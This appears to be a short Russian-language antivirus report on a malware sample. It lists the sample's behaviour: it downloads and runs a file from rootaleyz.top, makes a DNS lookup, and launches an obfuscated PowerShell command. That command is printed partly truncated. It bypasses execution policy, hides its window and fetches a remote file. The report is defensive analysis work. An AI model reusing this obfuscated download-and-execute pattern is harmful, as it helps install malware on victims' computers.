Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://rootaleyz.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PoweRsH^e^l^L^.^Ex^e -ex^E^Cu^tIOnPol^Icy^ ^ByPAS^S -n^OP^r^OfI^l^e ^-w^i^N^dowsT^YLE^ h^iDde^N^ (new-objeC^T Sy^sTEM.ne^T^.^wEb^C^lI^EN^T).DOw^nLOa^df^ILE^('http://rootaleyz.to...
Сетевая активность
UDP
- DNS ASK ro###leyz.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PoweRsH^e^l^L^.^Ex^e -ex^E^Cu^tIOnPol^Icy^ ^ByPAS^S -n^OP^r^OfI^l^e ^-w^i^N^dowsT^YLE^ h^iDde^N^ (new-objeC^T Sy^sTEM.ne^T^.^wEb^C^lI^EN^T).DOw^nLOa^df^ILE^('http://rootaleyz.to...' (со скрытым окном)
